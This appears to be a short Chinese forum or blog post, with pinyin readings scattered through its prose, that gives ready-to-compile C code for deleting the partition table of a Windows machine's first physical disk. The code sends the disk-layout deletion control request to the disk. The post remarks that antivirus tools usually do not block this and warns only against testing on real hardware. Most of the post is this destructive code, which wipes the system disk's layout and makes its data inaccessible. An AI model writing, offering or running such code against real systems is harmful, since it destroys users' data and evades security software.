打開(kāi)物理磁盤(pán)或者打開(kāi)分區(qū)符號(hào)(這個(gè)需要循環(huán))
然后使用下發(fā)IOCTL_DISK_DELETE_DRIVE_LAYOUT請(qǐng)求,刪除分區(qū)表
一般殺軟也不會(huì)阻止
不要在真機(jī)中實(shí)驗(yàn)!
代碼:
#include<stdio.h>
#include<Windows.h>
#include<ntddscsi.h>
#include <tchar.h>
int main()
{
DWORD lpBytesReturned;
OVERLAPPED lpOverlapped = { 0 };
HANDLE hDiskHandle = CreateFile(_T("\\\\.\\PhysicalDrive0"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (!hDiskHandle) {
printf("Fail \n");
getchar();
return 0;
}
bool ret = DeviceIoControl(hDiskHandle,
IOCTL_DISK_DELETE_DRIVE_LAYOUT,//0x0007C100
NULL,
0,
NULL,
0,
&lpBytesReturned,
&lpOverlapped);
CloseHandle(hDiskHandle);
printf("Finish\n");
return 0;
}